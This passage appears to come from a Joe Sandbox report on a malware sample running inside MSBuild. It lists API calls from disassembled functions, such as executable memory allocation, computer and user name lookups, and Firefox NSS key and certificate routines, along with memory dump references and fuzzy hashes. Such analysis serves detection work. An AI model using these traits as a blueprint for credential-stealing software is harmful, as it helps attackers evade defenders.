Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6CC54840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6CC3601B,?,00000000,?), ref: 6CC5486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CC548A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CC548BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CC548DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CC548F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CC5490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CC54919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CC5493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54970
PORT_Alloc_Util.NSS3(00000001), ref: 6CC549A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CC549AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC549D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CC549F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CC54A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CC54A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CC54A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CC54A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CC54A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CC54A81
free.MOZGLUE(00000000), ref: 6CC54AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CC54ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CC54ADC
free.MOZGLUE(00000000), ref: 6CC54B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CC54B33

Part of subcall function 6CC54120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC5413D
Part of subcall function 6CC54120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC54162
Part of subcall function 6CC54120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC5416B
Part of subcall function 6CC54120: PL_strncasecmp.NSS3(6CC54232,?,00000001), ref: 6CC54187
Part of subcall function 6CC54120: NSSUTIL_ArgSkipParameter.NSS3(6CC54232), ref: 6CC541A0
Part of subcall function 6CC54120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC541B4
Part of subcall function 6CC54120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CC541CC
Part of subcall function 6CC54120: NSSUTIL_ArgFetchValue.NSS3(6CC54232,?), ref: 6CC54203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CC54B53
free.MOZGLUE(00000000), ref: 6CC54B94
free.MOZGLUE(?), ref: 6CC54BA7
free.MOZGLUE(00000000), ref: 6CC54BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54BC8

Strings

hasRootTrust, xrefs: 6CC54B4D
every, xrefs: 6CC54A66
timeout, xrefs: 6CC54A38, 6CC54A7B
askpw, xrefs: 6CC54A4A
rootFlags, xrefs: 6CC54AB9, 6CC54B2E
slotFlags, xrefs: 6CC54A22
hasRootCerts, xrefs: 6CC54AD6

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 998d546ced71174ca2e794fb37a62ed6b0583c9c96297ff7cad0ae79dd7caeba
Instruction ID: 6c3651767b4c7e4280970472f18b88e943abee3a81f22aa2edb242b98d256550
Opcode Fuzzy Hash: 998d546ced71174ca2e794fb37a62ed6b0583c9c96297ff7cad0ae79dd7caeba
Instruction Fuzzy Hash: 0CC116B4E046559BEB00DF699C41BAE7BB8AF4620CF940028ED45E7B01F331D938C7A9

Function 6CC5EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CC5F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD2218C), ref: 6CC5F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CC5F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC5F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC5F210

Part of subcall function 6CC052D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CC5F1E9,?,00000000,?,?), ref: 6CC052F5
